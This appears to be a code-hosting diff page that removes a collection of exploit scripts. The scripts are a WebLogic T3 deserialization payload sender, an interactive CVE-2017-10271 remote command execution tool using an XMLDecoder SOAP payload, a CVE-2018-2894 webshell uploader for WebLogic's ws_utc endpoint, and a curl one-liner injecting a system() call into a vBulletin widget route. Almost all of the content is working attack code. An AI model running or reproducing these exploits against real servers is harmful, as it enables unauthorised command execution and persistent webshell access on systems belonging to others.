payload = '\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
|
||||
payload += payloadObj
|
||||
payload += '\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
|
||||
|
||||
# adjust header for appropriate message length
|
||||
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
|
||||
|
||||
print('[*] Sending payload')
|
||||
sock.send(payload)
|
||||
@@ -1,63 +0,0 @@
|
||||
from __future__ import print_function
|
||||
from builtins import input
|
||||
import requests
|
||||
import sys
|
||||
|
||||
url_in = sys.argv[1]
|
||||
payload_url = url_in + "/wls-wsat/CoordinatorPortType"
|
||||
payload_header = {'content-type': 'text/xml'}
|
||||
|
||||
|
||||
def payload_command (command_in):
|
||||
html_escape_table = {
|
||||
"&": "&",
|
||||
'"': """,
|
||||
"'": "'",
|
||||
">": ">",
|
||||
"<": "<",
|
||||
}
|
||||
command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
|
||||
payload_1 = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n" \
|
||||
" <soapenv:Header> " \
|
||||
" <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"> \n" \
|
||||
" <java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\"> \n" \
|
||||
" <void class=\"java.lang.ProcessBuilder\"> \n" \
|
||||
" <array class=\"java.lang.String\" length=\"3\">" \
|
||||
" <void index = \"0\"> " \
|
||||
" <string>cmd</string> " \
|
||||
" </void> " \
|
||||
" <void index = \"1\"> " \
|
||||
" <string>/c</string> " \
|
||||
" </void> " \
|
||||
" <void index = \"2\"> " \
|
||||
+ command_filtered + \
|
||||
" </void> " \
|
||||
" </array>" \
|
||||
" <void method=\"start\"/>" \
|
||||
" </void>" \
|
||||
" </java>" \
|
||||
" </work:WorkContext>" \
|
||||
" </soapenv:Header>" \
|
||||
" <soapenv:Body/>" \
|
||||
"</soapenv:Envelope>"
|
||||
return payload_1
|
||||
|
||||
def do_post(command_in):
|
||||
result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)
|
||||
|
||||
if result.status_code == 500:
|
||||
print("Command Executed \n")
|
||||
else:
|
||||
print("Something Went Wrong \n")
|
||||
|
||||
|
||||
|
||||
print("***************************************************** \n" \
|
||||
"**************** Coded By 1337g ****************** \n" \
|
||||
"* CVE-2017-10271 Blind Remote Command Execute EXP * \n" \
|
||||
"***************************************************** \n")
|
||||
|
||||
while 1:
|
||||
command_in = input("Eneter your command here: ")
|
||||
if command_in == "exit" : exit(0)
|
||||
do_post(command_in)
|
||||
@@ -1,128 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# coding:utf-8
|
||||
# Build By LandGrey
|
||||
|
||||
from __future__ import print_function
|
||||
from builtins import str
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import argparse
|
||||
import requests
|
||||
import traceback
|
||||
import xml.etree.ElementTree as ET
|
||||
|
||||
|
||||
def get_current_work_path(host):
|
||||
geturl = host + "/ws_utc/resources/setting/options/general"
|
||||
ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'}
|
||||
values = []
|
||||
try:
|
||||
request = requests.get(geturl)
|
||||
if request.status_code == 404:
|
||||
exit("[-] {} don't exists CVE-2018-2894".format(host))
|
||||
elif "Deploying Application".lower() in request.text.lower():
|
||||
print("[*] First Deploying Website Please wait a moment ...")
|
||||
time.sleep(20)
|
||||
request = requests.get(geturl, headers=ua)
|
||||
if "</defaultValue>" in request.content:
|
||||
root = ET.fromstring(request.content)
|
||||
value = root.find("section").find("options")
|
||||
for e in value:
|
||||
for sub in e:
|
||||
if e.tag == "parameter" and sub.tag == "defaultValue":
|
||||
values.append(sub.text)
|
||||
except requests.ConnectionError:
|
||||
exit("[-] Cannot connect url: {}".format(geturl))
|
||||
if values:
|
||||
return values[0]
|
||||
else:
|
||||
print("[-] Cannot get current work path\n")
|
||||
exit(request.content)
|
||||
|
||||
|
||||
def get_new_work_path(host):
|
||||
origin_work_path = get_current_work_path(host)
|
||||
works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css"
|
||||
if "user_projects" in origin_work_path:
|
||||
if "\\" in origin_work_path:
|
||||
works = works.replace("/", "\\")
|
||||
current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects\\domains"
|
||||
dir_len = len(current_work_home.split("\\"))
|
||||
domain_name = origin_work_path.split("\\")[dir_len]
|
||||
current_work_home += "\\" + domain_name + works
|
||||
else:
|
||||
current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects/domains"
|
||||
dir_len = len(current_work_home.split("/"))
|
||||
domain_name = origin_work_path.split("/")[dir_len]
|
||||
current_work_home += "/" + domain_name + works
|
||||
else:
|
||||
current_work_home = origin_work_path
|
||||
print("[*] cannot handle current work home dir: {}".format(origin_work_path))
|
||||
return current_work_home
|
||||
|
||||
|
||||
def set_new_upload_path(host, path):
|
||||
data = {
|
||||
"setting_id": "general",
|
||||
"BasicConfigOptions.workDir": path,
|
||||
"BasicConfigOptions.proxyHost": "",
|
||||
"BasicConfigOptions.proxyPort": "80"}
|
||||
request = requests.post(host + "/ws_utc/resources/setting/options", data=data, headers=headers)
|
||||
if "successfully" in request.content:
|
||||
return True
|
||||
else:
|
||||
print("[-] Change New Upload Path failed")
|
||||
exit(request.content)
|
||||
|
||||
|
||||
def upload_webshell(host, uri):
|
||||
set_new_upload_path(host, get_new_work_path(host))
|
||||
files = {
|
||||
"ks_edit_mode": "false",
|
||||
"ks_password_front": password,
|
||||
"ks_password_changed": "true",
|
||||
"ks_filename": ("360sglab.jsp", upload_content)
|
||||
}
|
||||
|
||||
request = requests.post(host + uri, files=files)
|
||||
response = request.text
|
||||
match = re.findall("<id>(.*?)</id>", response)
|
||||
if match:
|
||||
tid = match[-1]
|
||||
shell_path = host + "/ws_utc/css/config/keystore/" + str(tid) + "_360sglab.jsp"
|
||||
if upload_content in requests.get(shell_path, headers=headers).content:
|
||||
print("[+] {} exists CVE-2018-2894".format(host))
|
||||
print("[+] Check URL: {} ".format(shell_path))
|
||||
else:
|
||||
print("[-] {} don't exists CVE-2018-2894".format(host))
|
||||
else:
|
||||
print("[-] {} don't exists CVE-2018-2894".format(host))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
start = time.time()
|
||||
password = "360sglab"
|
||||
url = "/ws_utc/resources/setting/keystore"
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str,
|
||||
help="target, such as: http://example.com:7001")
|
||||
|
||||
upload_content = "360sglab test"
|
||||
headers = {
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
'X-Requested-With': 'XMLHttpRequest', }
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
sys.argv.append('-h')
|
||||
args = parser.parse_args()
|
||||
target = args.target
|
||||
|
||||
target = target.rstrip('/')
|
||||
if "://" not in target:
|
||||
target = "http://" + target
|
||||
try:
|
||||
upload_webshell(target, url)
|
||||
except Exception as e:
|
||||
print("[-] Error: \n")
|
||||
traceback.print_exc()
|
||||
File diff suppressed because one or more lines are too long
@@ -1 +0,0 @@
|
||||
curl https://example.com/index.php\?routestring\=ajax/render/widget_php --connect-timeout 5 --max-time 15 -s -k --data "widgetConfig[code]=echo system('id');exit;"
|
||||
Reference in New Issue
Block a user